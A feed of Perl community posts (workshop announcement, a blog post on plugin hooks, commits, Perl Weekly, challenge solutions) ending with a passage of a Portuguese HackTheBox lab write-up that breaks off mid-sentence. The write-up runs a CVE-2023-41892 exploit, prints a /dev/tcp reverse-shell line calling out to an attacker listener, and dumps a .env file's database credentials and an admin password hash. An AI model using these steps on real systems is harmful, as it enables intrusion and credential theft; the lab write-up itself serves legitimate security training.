Diat::zilla is awesome

r/perl

Published by /u/ReplacementSlight413 on Tuesday 23 April 2024 00:36

I understand that many disagree with this statement, but it really makes it easier to build distributions for people who not monks. Wish the documentation was more detailed

submitted by /u/ReplacementSlight413
[link] [comments]

Explicit vs Implicit Hooks

r/perl

Published by /u/domm_plix on Monday 22 April 2024 19:15

Explicit vs Implicit Hooks

r/perl

Published by /u/domm_plix on Monday 22 April 2024 19:14

Announcing The London Perl and Raku Workshop 2024 (LPW)

blogs.perl.org

Published by London Perl Workshop on Monday 22 April 2024 14:33

Hey All,

Yes, we're back we'd like to announce this year's LPW:

https://act.yapc.eu/lpw2024/

WHEN: TBC, most likely Saturday 26th October 2024
WHERE: TBC

Please register and submit talks early - it gives us a better idea of numbers. The date is tentative, depending on the venue, but we'd like to aim for the 26th October 2024.

This will be the 20th anniversary of LPW (in terms of years, not number of events). We might try to do something special...

The venue search is currently in progress. The 2019 venue has turned into a boarding school so we can't use that any more due to safeguarding issues. We don't want to go back to the University of Westminster so we are searching for a venue.

If you can help out with the venue search that would be great - does your company have a large enough space to host us? Are you part of a club, organisation, university, school, etc that can provide space? Have you been to an event in central London recently that might be a suitable venue?

Here's roughly what we're looking for. Obviously requirements are a little flexible:

- Central London (Zone 1)
- Saturday 26th October 2024
- Available 9am to 5pm (with access 8am to 6pm)

- A main lecture hall / room with presentation facilities
+ To seat at least 100 people  + With PA system
- Optional second room, also with presentation facilities
+ To seat at least 35 people- Breakout room (optional) / reception / welcome area for stands/registration

- Video facilities are not required

- Catering facilities are required
  + Tea, coffee, water, soft drinks, small snacks throughout the day
  + Possibly lunch provided on site with dietary requirement options 
~ However if lunch is a significant cost we will leave people to sort that out themselves

Please register, submit talks, think about possible venues, and let us know via email.

Cheers!
The LPW Organisers

Announcing The London Perl & Raku Workshop 2024 (LPW)

r/perl

Published by /u/leejo on Monday 22 April 2024 09:43

Explicit vs Implicit Hooks

domm (Perl and other tech)

Published on Monday 22 April 2024 09:00

At the Koha Hackfest I had several discussions with various colleagues about how to improve the way plugins and hooks are implemented in Koha. I have worked with and implemented various different systems in my ~25 years of Perl, so I have some opinions on this topic.

What are Hooks and Plugins?

When you have some generic piece of code (eg a framework or a big application that will be used by different user groups (like Koha)), people will want to add custom logic to it. But this custom logic will probably not make sense to every user. And you probably don't want all of these weird adaptions in the core code. So you allow users to write their weird adaptions in Plugins, which will be called via Hooks in the core code base. This patter is used by a lot of software, from eg mod_perl/Apache, Media Players to JavaScript frontend frameworks like Vue.

Generally, there are two kinds of Hook philosophies: Explicit Hooks, where you add explicit calls to the hook to the core code; and Implicit Hooks, where some magic is used to call Plugins.

Explicit Hooks

Explicit Hooks are rather easy to understand and implement:

package MyApp::Model::SomeThing;

method create ($args) {
    $self->call_hook("pre_create", $args);

    my $item = $self->resultset("SomeThing")->create( $args );
    
    $self->call_hook("post_create", $args, $item);
    
    return $item;
}

So you have a method create which takes some $args. It first calls the pre_create hook, which could munge the $args. Then it does what the Core implementation wants to do (in this case, create a new item in the database). After that it calls the post_create hook which could do further stuff, but now also has the freshly created database row available.

The big advantage of explicit hooks is that you can immediately see which hook is called when & where. The downside is of course that you have to pepper your code with a lot of explicit calls, which can be very verbose, especially once you add error handling and maybe a way for the hook to tell the core code to abort processing etc. Our nice, compact and easy to understand Perl code will end up looking like Go code (where you have to do error handling after each function call)

Implicit Hooks

Implicit hooks are a bit more magic, because the usually do not need any adaptions to the core code:

package MyApp::Model::SomeThing;

method create ($args) {
    my $item = $self->resultset("Foo")->create( $args );
    return $item
}

There are lots of ways to implement the magic needed.

One well-known one is Object Orientation, where you can "just" provide a subclass which overrides the default method. Of course you will then have to re-implement the whole core method in your subclass, and figure out a way to tell the core system that it should actually use your subclass instead of the default one.

Moose allows for more fine-grained ways to override methods with it's method modifiers like before, after and around. If you also add Roles to the mix (or got all in with Parametric Roles) you can build some very abstract base classes (similar to Interfaces in other languages) and leave the actual implementation as an exercise to the user...

Coincidentally, at the German Perl Workshop Ralf Schwab presented how they used AUTOLOAD and a hierarchy of shadow classes to add a Plugin/Hook system to their Cosmo web shop (which seems to be also wildly installed and around for quite some time). (I haven't seen the talk, only the slides

I have some memories (not sure if fond or nightmarish) of a system I build between 1998 and 2004 which (ab)used the free access Perl provides to the symbol table to use some config data to dynamically generate classes, which could then later by subclassed for even more customization.

But whatever you use to implement them, the big disadvantage of Implicit Hooks is that it is rather hard to figure out when & why each piece of code is called. But to actually and properly use implicit hooks, you will also have to properly structure your code in your core classes into many small methods instead of big 100-line monsters, which also improves testabilty.

So which is better?

Generally, "it depends". But for Koha I think Explicit Hooks are better:

  • For a start, Koha already has a Plugin system using Explicit Hooks. Throwing this away (plus all the existing Plugins using this system) would be madness (unless switching to Implicit Hooks provides very convincing benefits, which I doubt).
  • Koha still has a bunch of rather large methods that do a lot and thus are not very easily subclassed or modified by dynamic code.
  • Koha also calls plugins from what are basically CGI scripts, so sometimes there isn't even a class or method available to modify (though this old code is constantly being modernized)
  • Handling all the corner cases of implicitly called hooks (like needing to call next or SUPER) might be a bit to much for some Plugin authors (who might be more on the librarian-who-can-code-a-bit side of the spectrum then on dev-who-happens-to-work-with-libraries)
  • A large code base like Koha's, which is often worked on by non-core-devs, needs to be greppable. But Implicit Hooks are basically invisible and don't show up when looking through the Core code.
  • But most importantly, because Explicit Hooks are boring technology, and I've learned in the last 10 years that boring > magic!

Using implicit hooks could maybe make sense if Koha

  • is refactored to have all it's code in classes that follow a logic class hierarchy and uses lots of small methods (which should be a goal in itself, independent of the Plugin system)
  • somebody comes up with a smart way to allow Plugin authors to not have to care about all weird corner cases and problems (like MRO and diamond inheritance, Plugin call order, the annoying syntax of things like around in Moose, error handling, ...).

An while it itches me in the fingers to do come up with such a smart system, I think currently dev time is better spend on other issues and improvements.

P.S.: I'm currently traveling trough Albania, so I might be slow to reply to any feedback.

fix refcount on cloned constant state subs

Perl commits on GitHub

Published by iabyn on Monday 22 April 2024 07:58

fix refcount on cloned constant state subs

Perl was doing this:

    $ perl -e'sub { CORE::state sub FOO () { 42 } }'
    Attempt to free unreferenced scalar: ...
    $

This warning was in particular now showing up on stderr on bleed builds:
ever since the recent addition of similar code to Deparse.t with
v5.39.9-33-g4a55343c55.

When a sub is made constant, it is converted into an XS sub, and the
IV(42) SV is stored in the CV's CvXSUBANY(cv).any_sv field.

But state subs (even const ones) get cloned if wrapped within an outer
anon sub and then that outer sub gets cloned. And it turns out that when
a const state sub is cloned, the ref count of that const SV wasn't being
incremented.

The fix is trivial. But there were two possible ways to fix it. The
approach I chose was to fix the cloning code so that it increments on
CvCONST(cv) being true in addition to on CvREFCOUNTED_ANYSV(cv) being
true.

The other approach (and arguably more logically correct) would be to set
the CVf_REFCOUNTED_ANYSV flag on const subs too, but this involves
modifying the code in multiple places, e.g.  newMYSUB(), newATTRSUB_x(),
newCONSTSUB_flags(), and makes it more likely that CPAN XS code out
there which cargo-cults similar code would also need fixing. So my fix
is simpler, more robust, but less satisfying.

Note that before 5.36.0, the failing code example above would segfault
rather than warn.

"Refreshing " %ENV variable

r/perl

Published by /u/sarcasmwala on Monday 22 April 2024 05:39

My environment is perl/5.18.2 on CentOs 7

I'm trying to use a SWIG generated module in perl, which has a c plus plus backend. The backend.cpp sets an environment variable, $MY_ENV_VAR =1

But when I try to access this in perl, using $ENV{MY_ENV_VAR} this is undef.

However doing something like print `echo \$MY_ENV_VAR` works

So the variable is set in the process, but it's not reflected automatically since nothing updates the $ENV data structure.

I'm assuming it may work using some getEnv like mechanism, but is there a way to reset/ refresh the $ENV that it rebuilds itself from the current environment?

Steps to reproduce:

  1. Create a cpp class with the setenv function Example.h : ```

ifndef EXAMPLE_H

define EXAMPLE_H

class Example {

public:

void setEnvVariable(const char* name, const char* value) { setenv(name, value, 1); } 

};

endif

```

  1. create SWIG interface file to generate perl bindings : Example.i

```

%module Example

%{

#include "Example.h"

%}

%include "Example.h"

```

  1. Generate swig bindings with following 3 commands:

```

swig -perl -c++ Example.i

g++ -c -fpic Example_wrap.cxx -I /usr/lib/perl5/CORE/

g++ -shared Example_wrap.o -o Example.so

```

  1. Run this perl one-liner, which uses cpp to set the env var, and prints it

```

perl -e 'use Example; my $ex = new Example::Example(); $ex->setEnvVariable("MY_VAR", "Hello from C++!"); print "\n\n var from ENV hash is -".$ENV{MY_VAR}."-\n"; print echo var from system call is \$MY_VAR'

```

submitted by /u/sarcasmwala
[link] [comments]

Perl Weekly #665 - How to get better at Perl?

dev.to #perl

Published by Gabor Szabo on Monday 22 April 2024 05:14

Originally published at Perl Weekly 665

Hi there!

A new subscriber of the Perl Weekly wrote me:

"I've used Perl for a while but I would love to be fluent in it. Please let me know if you have any advice."

I think the best way is to work on projects and if you can find nice people who have time to comment on your work then ask them. Depending on your level you might want to try Exercism that has a Perl track for practice and a built-in system for asking for and getting feedback on the specific exercises. Even better, once you did the exercises you can become a mentor there helping others. That gives you another opportunity to look at these problems and help other people like yourself.

You can participate in The Weekly Challenge run by Mohammad S. Anwar, the other editor of the Perl Weekly.

Longer term I'd suggest to work on a real project.

Either create a project for yourself or you can start contributing to open source projects (e.g. CPAN modules). I'd start trying to contribute to active projects - so ones that saw a release recently. MetaCPAN has a page showing recent CPAN releases and the CPAN Digger provides some analytics and suggestions for recent CPAN releases. You can also contributed to MetaCPAN itself. This is also a nice way to contribute back to the Perl community.

Finally, Happy Passover celebrating the freedom of Jews from slavery. Let me wish to you the same we have been saying for hundreds of years at the end of the Passover dinner:

Next year in Jerusalem!

--
Your editor: Gabor Szabo.

Announcements

The Perl and Raku Conference: Call for Speakers Renewed

Including this despite the fact that the new dead-line had already passed. Unfortunately the extension was published after the previous edition of the Perl Weekly was published, but maybe they will extend it a few more days. So check it!

Phishing Attempt on PAUSE Users

Articles

Orion SSG v5.0.0 released to GitHub

Fast Perl SSG: now with automatic Language Translation via OCI and translate.pl. On GitHub

Things I learned at the Koha Hackfest in Marseille

It is always fun to read the event reports by Thomas Klausner (aka domm).

I can still count browser tabs

Ricardo switched from Chrome to Firefox and thus had to write some Perl code to count his tabs.

Getting Started with perlimports

perlimports is linter that helps you tidy up your code and Olaf explains in the blog why tidying imports is important.

How to manipulate files on different servers

I am rather surprised by the patience of the people who responded.

Net::SSH::Expect - jump server then to remote device?

Why I Like Perl's OO

Recommended reading along with some of the comments on the Reddit thread. Especially the one by brian d foy talking about the organization and modelling vs. features and syntax.

Grants

Grant Application: Dancer 2 Documentation Project

Please comment on this grant application!

The Weekly Challenge

The Weekly Challenge by Mohammad Sajid Anwar will help you step out of your comfort-zone. We pick one champion at the end of the month from among all of the contributors during the month.

The Weekly Challenge - 266

Welcome to a new week with a couple of fun tasks "Uncommon Words" and "X Matrix". If you are new to the weekly challenge then why not join us and have fun every week. For more information, please read the FAQ.

RECAP - The Weekly Challenge - 265

Enjoy a quick recap of last week's contributions by Team PWC dealing with the "33% Appearance" and "Completing Word" tasks in Perl and Raku. You will find plenty of solutions to keep you busy.

TWC265

Perl regex is in action again and it didn't disappoint as always. Thanks for sharing.

33% Word

Raku special keyword 'Nil' is very handy when dealing with undef. Raku Rocks !!!

Matter Of Fact, It's All Dark

Sort using hashes to shortcut uniq is a big thing. You must checkout why?

Perl Weekly Challenge: Week 265

Perl and Raku in one blog is a deadly combination. You get to know how to do things in Perl to replicate the Raku features.

The Weekly Challenge - 265

Jame's special is the highlight that you don't want to skip. Always get to learn something new every week.

For Almost a Third Complete

Using CPAN module can help you get a classic one-liner as Jorg shared in the post. Highly recommended.

Perl Weekly Challenge 265: 33% Appearance

How would you replicate Bag of Raku in Perl? Checkout the post to find the answer.

Perl Weekly Challenge 265: Completing Word

Raku first then port to Perl, simply incredible. Keep it up great work.

arrays and dictionaries

Any PostgreSQL fan? Checkout how you would solve the challenge using SQL power. Well done.

Perl Weekly Challenge 265

Master of one-liner in Perl. Consistency is the key, wonder how is it possible?

Completing a Third of an Appearance

Mix of Perl, Raku and Python. You pick your favourite, mine is Python since it is new to me.

Frequent number and shortest word

A very interesting take on Perl regex. First time, seen something like this, brilliant work.

The Weekly Challenge - 265

CPAN can never let you down. It has solution for every task. See yourself how?

The Weekly Challenge #265

Short and simple analysis, no nonsense approach. Keep it up great work.

The Appearance of Completion

For all Perl fans, I suggest you take a closer look at the last statement. It really surprised me, thanks for sharing.

Completing Appearance

Just love the neat and clean solution in Python with surprise element too. Keep sharing.

Weekly collections

NICEPERL's lists

Great CPAN modules released last week;

The corner of Gabor

A couple of entries sneaked in by Gabor.

GitHub Sponsors - A series on giving an receiving 💰

Recently I decided to renew my efforts to get more sponsors via GitHub Sponsors. In order to understand how to do it better I am going to write a series of articles. This is the first one. At one point I'd also like to feature the Perl-developers who could be supported this way. So far I encountered two people: magnus woldrich and Dave Cross and myself. I'd like to ask you to 1) Add some sponsorship to these two people so when I write about them there will be a few sponsors already. 2) Let me know if you know about any other Perl-developer who is accepting sponsorships via GitHub Sponsors.

You joined the Perl Weekly to get weekly e-mails about the Perl programming language and related topics.

Want to see more? See the archives of all the issues.

Not yet subscribed to the newsletter? Join us free of charge!

(C) Copyright Gabor Szabo
The articles are copyright the respective authors.

lib/locale.pm: Expand pod synopsis

Perl commits on GitHub

Published by khwilliamson on Sunday 21 April 2024 20:48

lib/locale.pm: Expand pod synopsis

This fixes GH #21097

lib/locale.pm: Remove obsolete pod

Perl commits on GitHub

Published by khwilliamson on Sunday 21 April 2024 20:48

lib/locale.pm: Remove obsolete pod

update authors

Perl commits on GitHub

Published on Sunday 21 April 2024 15:23

update authors
adjust chown docs to use pathconf not sysconf

(cdxcii) 5 great CPAN modules released last week

Niceperl

Published by Unknown on Sunday 21 April 2024 13:58

Updates for great CPAN modules released last week. A module is considered great if its favorites count is greater or equal than 12.

  1. Alien::ImageMagick - cpanm compatible Image::Magick packaging.
    • Version: 0.10 on 2024-04-18, with 13 votes
    • Previous CPAN version: 0.09 was 1 year, 9 months, 20 days before
    • Author: AMBS
  2. CPAN::Audit - Audit CPAN distributions for known vulnerabilities
    • Version: 20240414.001 on 2024-04-15, with 13 votes
    • Previous CPAN version: 20240410.001 was 5 days before
    • Author: BDFOY
  3. SPVM - SPVM Language
    • Version: 0.989104 on 2024-04-20, with 31 votes
    • Previous CPAN version: 0.989101 was 7 days before
    • Author: KIMOTO
  4. Term::Choose - Choose items from a list interactively.
    • Version: 1.764 on 2024-04-20, with 14 votes
    • Previous CPAN version: 1.763 was 3 months, 2 days before
    • Author: KUERBIS
  5. Text::CSV_XS - Comma-Separated Values manipulation routines
    • Version: 1.54 on 2024-04-18, with 101 votes
    • Previous CPAN version: 1.53 was 4 months, 25 days before
    • Author: HMBRAND

Completing Appearance

dev.to #perl

Published by Simon Green on Sunday 21 April 2024 07:01

Weekly Challenge 265

Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding.

Challenge, My solutions

Task 1: 33% Appearance

Task

You are given an array of integers, @ints.

Write a script to find an integer in the given array that appeared 33% or more. If more than one found, return the smallest. If none found then return undef.

My solution

In past challenges if I had to calculate the frequency of a thing (be it a number, letters or strings), I would do this in a for loop. I discovered the Counter function that does this for me.

Once I've used this method to get the frequency of each integer and stored in a value freq, I calculate the value that represents 33% of the number of items in the list and store it as percent_33.

The last step is to loop through the sorted listed of integers and return the value that appears at least percent_33 times. I return None (undef in Perl) if no values match the criterion.

def appearance_33(ints: list) -> int | None:
    freq = Counter(ints)
    percent_33 = 0.33 * len(ints)


    for i in sorted(freq):
        if freq[i] >= percent_33:
            return i

    return None

Examples

$ ./ch-1.py 1 2 3 3 3 3 4 2
3

$ ./ch-1.py 1 1
1

$ ./ch-1.py 1 2 3
1

Task 2: Completing Word

Task

You are given a string, $str containing alphanumeric characters and array of strings (alphabetic characters only), @str.

Write a script to find the shortest completing word. If none found return empty string.

A completing word is a word that contains all the letters in the given string, ignoring space and number. If a letter appeared more than once in the given string then it must appear the same number or more in the word.

My solution

str is a reserved word in Python, so I used s for the given string and str_list for the list. For this challenge, I also use the Counter function in my Python solution.

These are the steps I perform:

  1. Calculate the frequency of letters in the given string once converting it to lower case and removing anything that isn't an English letter of the alphabet (i.e. a to z).
  2. Sort the str_list list by the length of the string, shortest first.
  3. Loop through each item in str_list as a variable word. For each word:
    1. Caluclate the frequency of each letter, after converting it to lower case. This is stored as word_freq.
    2. For each letter in the original string (the freq dict), check that it occurs at least that many times in the word_freq dict. If it doesn't, move to the next word.
def completing_word(s: str, str_list: list) -> str | None:
    freq = Counter(re.sub('[^a-z]', '', s.lower()))
    str_list.sort(key=len)

    for word in str_list:
        word_freq = Counter(word.lower())

        for letter, count in freq.items():
            if word_freq.get(letter, 0) < count:
                break
        else:
            return word

    return None

Examples

$ ./ch-2.pl "aBc 11c" accbbb abc abbc
accbbb

$ ./ch-2.pl "Da2 abc" abcm baacd abaadc
baacd

$ ./ch-2.pl "JB 007" jj bb bjb
bjb

HackTheBox - Writeup Surveillance [Retired]

dev.to #perl

Published by Guilherme Martins on Saturday 20 April 2024 15:29

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium chamada Surveillance que aborda as seguintes vulnerabilidades e técnicas de exploração:

  • CVE-2023-41892 - Remote Code Execution
  • Password Cracking com hashcat
  • CVE-2023-26035 - Unauthenticated RCE
  • Command Injection

Iremos iniciar realizando uma varredura em nosso alvo a procura de portas abertas:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# nmap -sV --open -Pn 10.129.45.83 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-11 19:11 EST
Nmap scan report for 10.129.45.83
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Com isso podemos notar que existem duas portas, a porta 22 do ssh e a 80 que esta rodando um nginx.

O nginx é um servidor web e proxy reverso, vamos acessar nosso alvo por um navegador.

Quando acessamos somos redirecionados para http://surveillance.htb, vamos adicionar em nosso /etc/hosts.

Com isso temos a seguinte págine web:

Surveillance.htb

Se trata de um site de uma empresa de segurança e monitoramento que dispõe de câmeras, controle de acessos e etc.

Agora iremos em busca de endpoints e diretórios utilizando o gobuster:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://surveillance.htb/ -k 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://surveillance.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/12/11 19:12:59 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 200) [Size: 304]
/admin                (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css                  (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/fonts                (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/images               (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/img                  (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/index                (Status: 200) [Size: 1]
/js                   (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout               (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/p13                  (Status: 200) [Size: 16230]
/p1                   (Status: 200) [Size: 16230]
/p10                  (Status: 200) [Size: 16230]
/p15                  (Status: 200) [Size: 16230]
/p2                   (Status: 200) [Size: 16230]
/p3                   (Status: 200) [Size: 16230]
/p7                   (Status: 200) [Size: 16230]
/p5                   (Status: 200) [Size: 16230]
/wp-admin             (Status: 418) [Size: 24409]
Progress: 20469 / 20470 (100.00%)
===============================================================

Aqui temos alguns endpoints interessantes, dentre eles temos o /admin. Aqui conseguimos identificar a CMS que o site foi criado, podemos constatar que se trata de um Craft CMS:

Surveillance.htb

De acordo com o próprio site do Craft CMS, o Craft é um CMS flexível e fácil de usar para criar experiências digitais personalizadas na web e fora dela.

Buscando por vulnerabilidades encontramos a CVE-2023-41892 que é um Remote Code Execution

Aqui alteramos a Poc para que consigamos explorar a vulnerabilidade para realizar o upload do arquivo e executar os comandos remotos.

Agora com acesso ao shell:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# python3 CVE-2023-41892.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como temos um shell com poucos recursos com esse shell vamos abrir em outra aba o pwncat, que é um shell com diversas funções:

┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164

Agora vamos criar um arquivo chamado rev.sh com o seguinte conteúdo e executar:

$ cat /tmp/rev.sh
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5
$ bash /tmp/rev.sh

Com isso temos nosso reserve shell no pwncat:

┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
[17:00:52] received connection from 10.129.39.90:48380                                                                                    bind.py:84
[17:00:57] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash                                                                manager.py:957
[17:01:00] 10.129.39.90:48380: registered new host w/ db                                                                              manager.py:957
(local) pwncat$                                                                                                                                     
(remote) www-data@surveillance:/var/www/html/craft/web/cpresources$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Com acesso podemos realizar uma enumeração e visualizando os usuários:

(remote) www-data@surveillance:/var/www/html/craft$ grep -i bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash

Aqui temos três usuários: matthew, zoneminder e root.

Buscando arquivos sensíveis encontramos o arquivo .env, que como o nome sugere é um arquivo contendo variáveis e seus valores, que a aplicação utiliza:

(remote) www-data@surveillance:/var/www/html/craft$ cat .env
# Read about configuration, here:
# https://craftcms.com/docs/4.x/config/

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production

# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false

PRIMARY_SITE_URL=http://surveillance.htb/

Enumerando as portas abertas no host alvo notamos que existe um mysql na porta 3306 e outra aplicação na porta 8080, ambas rodando localmente:

(remote) www-data@surveillance:/var/www/html/craft$ netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      991/nginx: worker p
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      991/nginx: worker p
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
(remote) www-data@surveillance:/var/www/html/craft$

Com os dados que conseguimos podemos acessar o banco de dados:

(remote) www-data@surveillance:/var/www/html/craft$ mysql -u craftuser -h 127.0.0.1 -P 3306 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 20621
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| craftdb            |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use craftdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [craftdb]> show tables;
+----------------------------+
| Tables_in_craftdb          |
+----------------------------+
| addresses                  |
| announcements              |
| assetindexdata             |
| assetindexingsessions      |
| assets                     |
| categories                 |
| categorygroups             |
| categorygroups_sites       |
| changedattributes          |
| changedfields              |
| content                    |
| craftidtokens              |
| deprecationerrors          |
| drafts                     |
| elements                   |
| elements_sites             |
| entries                    |
| entrytypes                 |
| fieldgroups                |
| fieldlayoutfields          |
| fieldlayouts               |
| fieldlayouttabs            |
| fields                     |
| globalsets                 |
| gqlschemas                 |
| gqltokens                  |
| imagetransformindex        |
| imagetransforms            |
| info                       |
| matrixblocks               |
| matrixblocks_owners        |
| matrixblocktypes           |
| migrations                 |
| plugins                    |
| projectconfig              |
| queue                      |
| relations                  |
| resourcepaths              |
| revisions                  |
| searchindex                |
| sections                   |
| sections_sites             |
| sequences                  |
| sessions                   |
| shunnedmessages            |
| sitegroups                 |
| sites                      |
| structureelements          |
| structures                 |
| systemmessages             |
| taggroups                  |
| tags                       |
| tokens                     |
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
| volumefolders              |
| volumes                    |
| widgets                    |
+----------------------------+
63 rows in set (0.001 sec)

MariaDB [craftdb]> desc users;
+----------------------------+---------------------+------+-----+---------+-------+
| Field                      | Type                | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| id                         | int(11)             | NO   | PRI | NULL    |       |
| photoId                    | int(11)             | YES  | MUL | NULL    |       |
| active                     | tinyint(1)          | NO   | MUL | 0       |       |
| pending                    | tinyint(1)          | NO   | MUL | 0       |       |
| locked                     | tinyint(1)          | NO   | MUL | 0       |       |
| suspended                  | tinyint(1)          | NO   | MUL | 0       |       |
| admin                      | tinyint(1)          | NO   |     | 0       |       |
| username                   | varchar(255)        | YES  | MUL | NULL    |       |
| fullName                   | varchar(255)        | YES  |     | NULL    |       |
| firstName                  | varchar(255)        | YES  |     | NULL    |       |
| lastName                   | varchar(255)        | YES  |     | NULL    |       |
| email                      | varchar(255)        | YES  | MUL | NULL    |       |
| password                   | varchar(255)        | YES  |     | NULL    |       |
| lastLoginDate              | datetime            | YES  |     | NULL    |       |
| lastLoginAttemptIp         | varchar(45)         | YES  |     | NULL    |       |
| invalidLoginWindowStart    | datetime            | YES  |     | NULL    |       |
| invalidLoginCount          | tinyint(3) unsigned | YES  |     | NULL    |       |
| lastInvalidLoginDate       | datetime            | YES  |     | NULL    |       |
| lockoutDate                | datetime            | YES  |     | NULL    |       |
| hasDashboard               | tinyint(1)          | NO   |     | 0       |       |
| verificationCode           | varchar(255)        | YES  | MUL | NULL    |       |
| verificationCodeIssuedDate | datetime            | YES  |     | NULL    |       |
| unverifiedEmail            | varchar(255)        | YES  |     | NULL    |       |
| passwordResetRequired      | tinyint(1)          | NO   |     | 0       |       |
| lastPasswordChangeDate     | datetime            | YES  |     | NULL    |       |
| dateCreated                | datetime            | NO   |     | NULL    |       |
| dateUpdated                | datetime            | NO   |     | NULL    |       |
+----------------------------+---------------------+------+-----+---------+-------+
27 rows in set (0.001 sec)

MariaDB [craftdb]> select admin,username,email,password from users;
+-------+----------+------------------------+--------------------------------------------------------------+
| admin | username | email                  | password                                                     |
+-------+----------+------------------------+--------------------------------------------------------------+
|     1 | admin    | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe |
+-------+----------+------------------------+--------------------------------------------------------------+
1 row in set (0.000 sec)

No entanto, não tivemos sucesso tentando quebrar a hash de usuário.

Continuando a enumeração localizamos um arquivo de backup do banco de dados:

(remote) www-data@surveillance:/var/www/html/craft/storage$ cd backups/
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 28K
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:33 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r--r-- 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 140K
drwxrwxr-x 2 www-data www-data 4.0K Dec 12 02:17 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r--r-- 1 www-data www-data 111K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql
-rw-r--r-- 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip

E aqui temos outro tipo de hash para o usuário:

